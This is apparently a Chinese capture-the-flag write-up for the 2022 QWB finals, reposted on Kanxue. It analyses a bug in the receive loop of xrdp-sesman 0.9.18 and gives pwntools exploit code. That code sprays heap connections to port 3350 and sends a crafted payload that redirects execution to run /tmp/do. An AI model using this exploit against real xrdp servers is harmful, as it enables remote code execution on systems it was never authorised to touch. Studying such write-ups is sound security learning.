其他
2022QWB final RDP
首先观察XRDP程序的版本信息:
xrdp-sesman 0.9.18
The xrdp session manager
Copyright (C) 2004-2020 Jay Sorg, Neutrino Labs, and all contributors.
See https://github.com/neutrinolabs/xrdp for more information.
Configure options:
MISC:https://github.com/neutrinolabs/xrdp/commit/4def30ab8ea445cdc06832a44c3ec40a506a0ffa
{
g_sck_can_recv
g_sck_accept
...
}
else /* connected server or client (2 or 3) */
{
if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES)
{
}
else if (self->trans_can_recv(self, self->sck, 0))
{
cur_source = XRDP_SOURCE_NONE;
if (self->si != 0)
{
cur_source = self->si->cur_source;
self->si->cur_source = self->my_source;
}
read_so_far = (int) (self->in_s->end - self->in_s->data);
to_read = self->header_size - read_so_far;
if (to_read > 0)
{
read_bytes = self->trans_recv(self, self->in_s->end, to_read);
......
}
read_so_far = (int) (self->in_s->end - self->in_s->data);
if (read_so_far == self->header_size)
{
if (self->trans_data_in != 0)
{
rv = self->trans_data_in(self);
if (self->no_stream_init_on_data_in == 0)
{
init_stream(self->in_s, 0);
}
}
}
}
payload=b'v'*4
payload+=p32(0x80000000)
io=remote("127.0.0.1",3350)
io.send(payload)
io.send('a'*0x1000)
成功断在了函数处。
elf=ELF('./xrdp-sesman')
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
lg = lambda x : print('\033[32m' + str(x) + '\033[0m')
with open("/tmp/do", "w") as f:
f.write("#!/bin/bash\necho \"Ayaka\" > /flag")
os.system("chmod a+x /tmp/do")
conn_list=[]
def heap_spray():
for i in range(100):
io=remote("127.0.0.1",3350)
conn_list.append(io)
heap_spray()
bss=0x40a000
input()
system_plt=elf.plt['g_execlp3']
payload=b'v'*4
payload+=p32(0x80000000)[::-1]
io1=conn_list[97]
io1.send(payload)
payload=p64(bss)*(0x4160//8)+p64(0x2b0)+b'/tmp/do\x00'
payload+=p32(1)*2+p64(2)+p64(0)*3+p64(0x400318)+p64(bss)*2+p64(0)*71+p64(0x0000000000403BF0)+p64(0x0000000000403C40)*2
io1.send(payload)
conn_list[98].send("a"*8)
看雪ID:Ayakaaa
https://bbs.kanxue.com/user-home-954038.htm
# 往期推荐
1、2023 SDC 议题回顾 | 芯片安全和无线电安全底层渗透技术
6、2023 SDC 议题回顾 | 深入 Android 可信应用漏洞挖掘
球分享
球点赞
球在看